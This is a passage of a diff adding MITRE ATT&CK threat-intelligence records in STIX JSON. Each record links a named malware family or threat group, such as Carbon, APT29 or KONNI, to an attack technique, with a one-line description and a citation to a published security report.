], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--3ccef7ae-cb5e-48f6-8302-897105fbf55c", + "description": "[Carbon](https://attack.mitre.org/software/S0335) decrypts task and configuration files for execution.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-01-29T19:36:02.753Z", + "id": "relationship--848313af-f9c3-4b51-a24a-d2e88487ab53", + "source_ref": "malware--b7e9880a-7a7c-4162-bddb-e28e8ef2bf1f", + "modified": "2019-04-12T14:43:22.692Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "ESET Carbon Mar 2017", + "description": "ESET. (2017, March 30). Carbon Paper: Peering into Turla\u2019s second stage backdoor. Retrieved November 7, 2018.", + "url": "https://www.welivesecurity.com/2017/03/30/carbon-paper-peering-turlas-second-stage-backdoor/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--03d7999c-1f4c-42cc-8373-e7690d318104", + "description": "[Epic](https://attack.mitre.org/software/S0091) collects the user name from the victim\u2019s machine.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-01-29T19:55:48.181Z", + "id": "relationship--1547f28f-d6b7-43cc-8b89-0eaa524648b8", + "source_ref": "malware--6b62e336-176f-417b-856a-8552dd8c44e1", + "modified": "2019-07-26T16:10:43.023Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "Kaspersky Turla Aug 2014", + "description": "Kaspersky Lab's Global Research & Analysis Team. (2014, August 06). The Epic Turla Operation: Solving some of the mysteries of Snake/Uroboros. Retrieved November 7, 2018.", + "url": "https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2018/03/08080105/KL_Epic_Turla_Technical_Appendix_20140806.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--478aa214-2ca7-4ec0-9978-18798e514790", + "description": "A [Threat Group-3390](https://attack.mitre.org/groups/G0027) tool can create a new service, naming it after the config information, to gain persistence.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "relationship--68d41471-49c7-4210-8d9b-2958e95feb1a", + "source_ref": "intrusion-set--fb366179-766c-4a4a-afa1-52bff1fd601c", + "modified": "2019-07-14T21:15:55.368Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "Nccgroup Emissary Panda May 2018", + "description": "Pantazopoulos, N., Henry T. (2018, May 18). Emissary Panda \u2013 A potential new malicious tool. Retrieved June 25, 2018.", + "url": "https://www.nccgroup.trust/uk/about-us/newsroom-and-events/blogs/2018/may/emissary-panda-a-potential-new-malicious-tool/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--b3d682b6-98f2-4fb0-aa3b-b4df007ca70a", + "description": "[Tropic Trooper](https://attack.mitre.org/groups/G0081) has encrypted configuration files.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-01-29T20:17:49.354Z", + "id": "relationship--86333028-9eb1-44a3-9a5a-51fffe66f0e1", + "source_ref": "intrusion-set--56319646-eb6e-41fc-ae53-aadfa7adb924", + "modified": "2019-06-30T22:44:28.260Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "TrendMicro Tropic Trooper Mar 2018", + "description": "Horejsi, J., et al. (2018, March 14). Tropic Trooper\u2019s New Strategy. Retrieved November 9, 2018.", + "url": "https://blog.trendmicro.com/trendlabs-security-intelligence/tropic-trooper-new-strategy/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--3b3cbbe0-6ed3-4334-b543-3ddfd8c5642d", + "description": "[BADCALL](https://attack.mitre.org/software/S0245) encrypts C2 traffic using an XOR/ADD cipher and uses a FakeTLS method.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "relationship--3a11eb81-545a-4153-8c3b-feb47db1f288", + "source_ref": "malware--9dbdadb6-fdbf-490f-a35f-38762d06a0d2", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "US-CERT. (2018, February 06). Malware Analysis Report (MAR) - 10135536-G. Retrieved June 7, 2018.", + "source_name": "US-CERT BADCALL", + "url": "https://www.us-cert.gov/sites/default/files/publications/MAR-10135536-G.PDF" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--f879d51c-5476-431c-aedf-f14d207e4d1e", + "description": "[EvilGrab](https://attack.mitre.org/software/S0152) uses port 8080 for C2.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--9f852541-3fc7-4036-9268-7bc6bfe94900", + "source_ref": "malware--2f1a9fd0-3b7c-4d77-a358-78db13adbe78", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "PwC and BAE Systems. (2017, April). Operation Cloud Hopper: Technical Annex. Retrieved April 13, 2017.", + "source_name": "PWC Cloud Hopper Technical Annex April 2017", + "url": "https://www.pwc.co.uk/cyber-security/pdf/cloud-hopper-annex-b-final.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--1035cdf2-3e5f-446f-a7a7-e8f6d7925967", + "description": "[Cobian RAT](https://attack.mitre.org/software/S0338) has a feature to perform voice recording on the victim\u2019s machine.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-01-29T21:40:37.743Z", + "id": "relationship--97d2fa02-bccc-43c3-8c1d-e3667b710e5e", + "source_ref": "malware--aa1462a1-d065-416c-b354-bedd04998c7f", + "modified": "2019-04-23T21:09:54.680Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Yadav, A., et al. (2017, August 31). Cobian RAT \u2013 A backdoored RAT. Retrieved November 13, 2018.", + "source_name": "Zscaler Cobian Aug 2017", + "url": "https://www.zscaler.com/blogs/research/cobian-rat-backdoored-rat" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--a127c32c-cbb0-4f9d-be07-881a792408ec", + "description": "[Xbash](https://attack.mitre.org/software/S0341) can use mshta for executing scripts.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-01-30T13:28:47.831Z", + "id": "relationship--2ed3ed76-7ebe-4371-a7e9-cc5a45ace915", + "source_ref": "malware--6a92d80f-cc65-45f6-aa66-3cdea6786b3c", + "modified": "2019-06-28T15:15:54.445Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "Unit42 Xbash Sept 2018", + "description": "Xiao, C. (2018, September 17). Xbash Combines Botnet, Ransomware, Coinmining in Worm that Targets Linux and Windows. Retrieved November 14, 2018.", + "url": "https://researchcenter.paloaltonetworks.com/2018/09/unit42-xbash-combines-botnet-ransomware-coinmining-worm-targets-linux-windows/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--56fca983-1cf1-4fd1-bda0-5e170a37ab59", + "description": "[GreyEnergy](https://attack.mitre.org/software/S0342) can securely delete a file by hooking into the DeleteFileA and DeleteFileW functions in the Windows API.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-01-30T13:53:14.920Z", + "id": "relationship--1ae53b90-59d3-4510-b0e8-686b7ea8e626", + "source_ref": "malware--308b3d68-a084-4dfb-885a-3125e1a9c1e8", + "modified": "2019-04-17T22:22:22.030Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Cherepanov, A. (2018, October). GREYENERGY A successor to BlackEnergy. Retrieved November 15, 2018.", + "source_name": "ESET GreyEnergy Oct 2018", + "url": "https://www.welivesecurity.com/wp-content/uploads/2018/10/ESET_GreyEnergy.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--7d751199-05fa-4a72-920f-85df4506c76c", + "description": "[Keydnap](https://attack.mitre.org/software/S0276) uses a copy of tor2web proxy for HTTPS communications.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "relationship--02e4c930-ffc1-4bcb-a989-12db90671f90", + "source_ref": "malware--4b072c90-bc7a-432b-940e-016fc1c01761", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Patrick Wardle. (2017, January 1). Mac Malware of 2016. Retrieved September 21, 2018.", + "source_name": "synack 2016 review", + "url": "https://www.synack.com/2017/01/01/mac-malware-2016/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--128c55d3-aeba-469f-bd3e-c8996ab4112a", + "description": "[InvisiMole](https://attack.mitre.org/software/S0260) samples were timestomped by the authors by setting the PE timestamps to all zero values. [InvisiMole](https://attack.mitre.org/software/S0260) also has a built-in command to modify file times.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "relationship--b039a79c-8df3-4e89-95ad-03d27b16a13c", + "source_ref": "malware--47afe41c-4c08-485e-b062-c3bd209a1cce", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Hromcov\u00e1, Z. (2018, June 07). InvisiMole: Surprisingly equipped spyware, undercover since 2013. Retrieved July 10, 2018.", + "source_name": "ESET InvisiMole June 2018", + "url": "https://www.welivesecurity.com/2018/06/07/invisimole-equipped-spyware-undercover/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--b3d682b6-98f2-4fb0-aa3b-b4df007ca70a", + "description": "[APT29](https://attack.mitre.org/groups/G0016) uses PowerShell to use Base64 for obfuscation.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-01-30T14:19:17.699Z", + "id": "relationship--2bc72d2e-74c7-43da-a669-fffdfcd78186", + "source_ref": "intrusion-set--899ce53f-13a0-479b-a0e4-67d46e241542", + "modified": "2019-07-25T14:25:53.349Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Dunwoody, M., et al. (2018, November 19). Not So Cozy: An Uncomfortable Examination of a Suspected APT29 Phishing Campaign. Retrieved November 27, 2018.", + "source_name": "FireEye APT29 Nov 2018", + "url": "https://www.fireeye.com/blog/threat-research/2018/11/not-so-cozy-an-uncomfortable-examination-of-a-suspected-apt29-phishing-campaign.html" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--f24faf46-3b26-4dbb-98f2-63460498e433", + "description": "[JHUHUGIT](https://attack.mitre.org/software/S0044) tests if it can reach its C2 server by first attempting a direct connection, and if it fails, obtaining proxy settings and sending the connection through a proxy, and finally injecting code into a running browser if the proxy method fails.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--0d43f3a7-70ed-4d04-857e-3a9fbce86cfb", + "source_ref": "malware--8ae43c46-57ef-47d5-a77a-eebb35628db2", + "modified": "2019-02-01T14:39:36.316Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "ESET. (2016, October). En Route with Sednit - Part 1: Approaching the Target. Retrieved November 8, 2016.", + "source_name": "ESET Sednit Part 1", + "url": "http://www.welivesecurity.com/wp-content/uploads/2016/10/eset-sednit-part1.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--1c338d0f-a65e-4073-a5c1-c06878849f21", + "description": "[Azorult](https://attack.mitre.org/software/S0344) can decrypt the payload into memory, create a new suspended process of itself, then inject a decrypted payload to the new process and resume new process execution.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-01-30T15:19:14.997Z", + "id": "relationship--202ed36b-9052-4464-b6a0-34258ba7a9ab", + "source_ref": "malware--f9b05f33-d45d-4e4d-aafe-c208d38a0080", + "modified": "2019-07-26T23:22:28.507Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "Unit42 Azorult Nov 2018", + "description": "Yan, T., et al. (2018, November 21). New Wine in Old Bottle: New Azorult Variant Found in FindMyName Campaign using Fallout Exploit Kit. Retrieved November 29, 2018.", + "url": "https://researchcenter.paloaltonetworks.com/2018/11/unit42-new-wine-old-bottle-new-azorult-variant-found-findmyname-campaign-using-fallout-exploit-kit/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--9422fc14-1c43-410d-ab0f-a709b76c72dc", + "description": "[RedLeaves](https://attack.mitre.org/software/S0153) attempts to add a shortcut file in the Startup folder to achieve persistence. If this fails, it attempts to add Registry Run keys.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--ed2f811d-3258-4489-abe1-57dac4bdbbf8", + "source_ref": "malware--17b40f60-729f-4fe8-8aea-cc9ee44a95d5", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "PwC and BAE Systems. (2017, April). Operation Cloud Hopper: Technical Annex. Retrieved April 13, 2017.", + "source_name": "PWC Cloud Hopper Technical Annex April 2017", + "url": "https://www.pwc.co.uk/cyber-security/pdf/cloud-hopper-annex-b-final.pdf" + }, + { + "description": "Accenture Security. (2018, April 23). Hogfish Redleaves Campaign. Retrieved July 2, 2018.", + "source_name": "Accenture Hogfish April 2018", + "url": "https://www.accenture.com/t20180423T055005Z_w_/se-en/_acnmedia/PDF-76/Accenture-Hogfish-Threat-Analysis.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--4b74a1d4-b0e9-4ef1-93f1-14ecc6e2f5b5", + "description": "[BISCUIT](https://attack.mitre.org/software/S0017) uses SSL for encrypting C2 communications.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-01-30T15:38:21.151Z", + "id": "relationship--e54282cb-8567-4c43-b6ab-3cfd0e52fb9a", + "source_ref": "malware--b8eb28e4-48a6-40ae-951a-328714f75eda", + "modified": "2019-01-30T15:38:21.151Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Mandiant. (n.d.). Appendix C (Digital) - The Malware Arsenal. Retrieved July 18, 2016.", + "source_name": "Mandiant APT1 Appendix", + "url": "https://www.fireeye.com/content/dam/fireeye-www/services/pdfs/mandiant-apt1-report-appendix.zip" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--42e8de7b-37b2-4258-905a-6897815e58e0", + "description": "[InnaputRAT](https://attack.mitre.org/software/S0259) variants have attempted to appear legitimate by using the file names SafeApp.exe and NeutralApp.exe, as well as by adding a new service named OfficeUpdateService.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "relationship--cf29f1f0-867f-4e08-9442-d10f75ec7702", + "source_ref": "malware--c8b6cc43-ce61-42ae-87f3-a5f10526f952", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "ASERT Team. (2018, April 04). Innaput Actors Utilize Remote Access Trojan Since 2016, Presumably Targeting Victim Files. Retrieved July 9, 2018.", + "source_name": "ASERT InnaputRAT April 2018", + "url": "https://asert.arbornetworks.com/innaput-actors-utilize-remote-access-trojan-since-2016-presumably-targeting-victim-files/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add", + "description": "[AuditCred](https://attack.mitre.org/software/S0347) can download files and additional malware.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-01-30T15:47:41.424Z", + "id": "relationship--4d23c95c-366e-464c-b41c-64e48f4e166a", + "source_ref": "malware--24b4ce59-eaac-4c8b-8634-9b093b7ccd92", + "modified": "2019-01-30T15:47:41.424Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Trend Micro. (2018, November 20). Lazarus Continues Heists, Mounts Attacks on Financial Organizations in Latin America. Retrieved December 3, 2018.", + "source_name": "TrendMicro Lazarus Nov 2018", + "url": "https://blog.trendmicro.com/trendlabs-security-intelligence/lazarus-continues-heists-mounts-attacks-on-financial-organizations-in-latin-america/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--3b3cbbe0-6ed3-4334-b543-3ddfd8c5642d", + "description": "[Cardinal RAT](https://attack.mitre.org/software/S0348) uses a secret key with a series of XOR and addition operations to encrypt C2 traffic.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-01-30T16:39:54.436Z", + "id": "relationship--4d6a3a5b-58c2-4dab-8710-fe7e6b893f98", + "source_ref": "malware--b879758f-bbc4-4cab-b5ba-177ac9b009b4", + "modified": "2019-06-10T18:25:51.809Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "PaloAlto CardinalRat Apr 2017", + "description": "Grunzweig, J.. (2017, April 20). Cardinal RAT Active for Over Two Years. Retrieved December 8, 2018.", + "url": "https://researchcenter.paloaltonetworks.com/2017/04/unit42-cardinal-rat-active-two-years/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--03d7999c-1f4c-42cc-8373-e7690d318104", + "description": "[Koadic](https://attack.mitre.org/software/S0250) can identify logged in users across the domain and views user sessions.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "relationship--3298bf92-55a2-49eb-aa5e-0530e8a51eeb", + "source_ref": "tool--c8655260-9f4b-44e3-85e1-6538a5f6e4f4", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Magius, J., et al. (2017, July 19). Koadic. Retrieved June 18, 2018.", + "source_name": "Github Koadic", + "url": "https://github.com/zerosum0x0/koadic" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--b9f5dbe2-4c55-4fc5-af2e-d42c1d182ec4", + "description": "[MuddyWater](https://attack.mitre.org/groups/G0069) has used the native Windows cabinet creation tool, makecab.exe, likely to compress stolen data to be uploaded.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-01-30T17:33:40.941Z", + "id": "relationship--8cecace8-2820-4489-b3e8-baf4b9f33ff3", + "source_ref": "intrusion-set--269e8108-68c6-4f99-b911-14b2e765dec2", + "modified": "2019-06-28T15:30:58.858Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Symantec DeepSight Adversary Intelligence Team. (2018, December 10). Seedworm: Group Compromises Government Agencies, Oil & Gas, NGOs, Telecoms, and IT Firms. Retrieved December 14, 2018.", + "source_name": "Symantec MuddyWater Dec 2018", + "url": "https://www.symantec.com/blogs/threat-intelligence/seedworm-espionage-group" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add", + "description": "[Dipsind](https://attack.mitre.org/software/S0200) can download remote files.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-04-18T17:59:24.739Z", + "id": "relationship--2a2b6def-5d29-41f7-b274-64bed33eb8ed", + "source_ref": "malware--e170995d-4f61-4f17-b60e-04f9a06ee517", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Windows Defender Advanced Threat Hunting Team. (2016, April 29). PLATINUM: Targeted attacks in South and Southeast Asia. Retrieved February 15, 2018.", + "source_name": "Microsoft PLATINUM April 2016", + "url": "https://download.microsoft.com/download/2/2/5/225BFE3E-E1DE-4F5B-A77B-71200928D209/Platinum%20feature%20article%20-%20Targeted%20attacks%20in%20South%20and%20Southeast%20Asia%20April%202016.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--7385dfaf-6886-4229-9ecd-6fd678040830", + "description": "[zwShell](https://attack.mitre.org/software/S0350) can launch command-line shells.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-01-30T17:48:35.639Z", + "id": "relationship--dbf985a6-4e02-4f1f-a323-3169e4c3c9e0", + "source_ref": "malware--54e8672d-5338-4ad1-954a-a7c986bee530", + "modified": "2019-01-30T17:48:35.639Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "McAfee Night Dragon", + "description": "McAfee\u00ae Foundstone\u00ae Professional Services and McAfee Labs\u2122. (2011, February 10). Global Energy Cyberattacks: \u201cNight Dragon\u201d. Retrieved February 19, 2018.", + "url": "https://securingtomorrow.mcafee.com/wp-content/uploads/2011/02/McAfee_NightDragon_wp_draft_to_customersv1-1.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--7385dfaf-6886-4229-9ecd-6fd678040830", + "description": "[POWRUNER](https://attack.mitre.org/software/S0184) can execute commands from its C2 server.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-01-16T16:13:52.465Z", + "id": "relationship--aabb13d6-a73b-42aa-8014-696b94ff2416", + "source_ref": "malware--09b2cd76-c674-47cc-9f57-d2f2ad150a46", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Sardiwal, M, et al. (2017, December 7). New Targeted Attack in the Middle East by APT34, a Suspected Iranian Threat Group, Using CVE-2017-11882 Exploit. Retrieved December 20, 2017.", + "source_name": "FireEye APT34 Dec 2017", + "url": "https://www.fireeye.com/blog/threat-research/2017/12/targeted-attack-in-middle-east-by-apt34.html" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "malware--56f46b17-8cfa-46c0-b501-dd52fef394e2", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-01-30T18:02:59.508Z", + "id": "relationship--d82144cd-0b3f-465c-95aa-54764891e9b6", + "source_ref": "intrusion-set--23b6a0f5-fa95-46f9-a6f3-4549c5e45ec8", + "modified": "2019-03-25T14:36:29.993Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "McAfee\u00ae Foundstone\u00ae Professional Services and McAfee Labs\u2122. (2011, February 10). Global Energy Cyberattacks: \u201cNight Dragon\u201d. Retrieved February 19, 2018.", + "source_name": "McAfee Night Dragon", + "url": "https://securingtomorrow.mcafee.com/wp-content/uploads/2011/02/McAfee_NightDragon_wp_draft_to_customersv1-1.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--92d7da27-2d91-488e-a00c-059dc162766d", + "description": "[Cannon](https://attack.mitre.org/software/S0351) exfiltrates collected data over email via SMTP/S and POP3/S C2 channels.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-01-30T18:58:03.964Z", + "id": "relationship--48106cb0-a9c8-4c68-b90a-8d517078d189", + "source_ref": "malware--d20b397a-ea47-48a9-b503-2e2a3551e11d", + "modified": "2019-04-22T19:48:08.974Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "Unit42 Cannon Nov 2018", + "description": "Falcone, R., Lee, B. (2018, November 20). Sofacy Continues Global Attacks and Wheels Out New \u2018Cannon\u2019 Trojan. Retrieved November 26, 2018.", + "url": "https://researchcenter.paloaltonetworks.com/2018/11/unit42-sofacy-continues-global-attacks-wheels-new-cannon-trojan/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--f2d44246-91f1-478a-b6c8-1227e0ca109d", + "description": "[Gazer](https://attack.mitre.org/software/S0168) stores configuration items in alternate data streams (ADSs) if the Registry is not accessible.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-04-18T17:59:24.739Z", + "id": "relationship--d2d11e48-91f9-4ebf-82b7-c194c0bee9b5", + "source_ref": "malware--76abb3ef-dafd-4762-97cb-a35379429db4", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "ESET. (2017, August). Gazing at Gazer: Turla\u2019s new second stage backdoor. Retrieved September 14, 2017.", + "source_name": "ESET Gazer Aug 2017", + "url": "https://www.welivesecurity.com/wp-content/uploads/2017/08/eset-gazer.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--03d7999c-1f4c-42cc-8373-e7690d318104", + "description": "[NOKKI](https://attack.mitre.org/software/S0353) can collect the username from the victim\u2019s machine.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-01-30T19:50:46.750Z", + "id": "relationship--9e1daa60-db2d-4671-b96f-3ebebe1977cc", + "source_ref": "malware--071d5d65-83ec-4a55-acfa-be7d5f28ba9a", + "modified": "2019-01-31T00:38:09.389Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "Unit 42 NOKKI Sept 2018", + "description": "Grunzweig, J., Lee, B. (2018, September 27). New KONNI Malware attacking Eurasia and Southeast Asia. Retrieved November 5, 2018.", + "url": "https://researchcenter.paloaltonetworks.com/2018/09/unit42-new-konni-malware-attacking-eurasia-southeast-asia/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--0259baeb-9f63-4c69-bf10-eb038c390688", + "description": "[KONNI](https://attack.mitre.org/software/S0356) can take screenshots of the victim\u2019s machine.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-01-31T00:36:40.968Z", + "id": "relationship--af7323ae-bb42-49fd-9c8d-218a1335f662", + "source_ref": "malware--86b92f6c-9c05-4c51-b361-4c7bb13e21a1", + "modified": "2019-07-26T18:47:19.318Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "Talos Konni May 2017", + "description": "Rascagneres, P. (2017, May 03). KONNI: A Malware Under The Radar For Years. Retrieved November 5, 2018.", + "url": "https://blog.talosintelligence.com/2017/05/konni-malware-under-radar-for-years.html" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--a127c32c-cbb0-4f9d-be07-881a792408ec", + "description": "[APT32](https://attack.mitre.org/groups/G0050) has used mshta.exe for code execution.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-01-31T01:07:58.706Z", + "id": "relationship--a7f5320a-dd76-4fa0-998f-44860ff1b307", + "source_ref": "intrusion-set--247cb30b-955f-42eb-97a5-a89fef69341e", + "modified": "2019-07-17T13:11:38.457Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "Cybereason Oceanlotus May 2017", + "description": "Dahan, A. (2017, May 24). OPERATION COBALT KITTY: A LARGE-SCALE APT IN ASIA CARRIED OUT BY THE OCEANLOTUS GROUP. Retrieved November 5, 2018.", + "url": "https://www.cybereason.com/blog/operation-cobalt-kitty-apt" + }, + { + "source_name": "Cybereason Cobalt Kitty 2017", + "description": "Dahan, A. (2017). Operation Cobalt 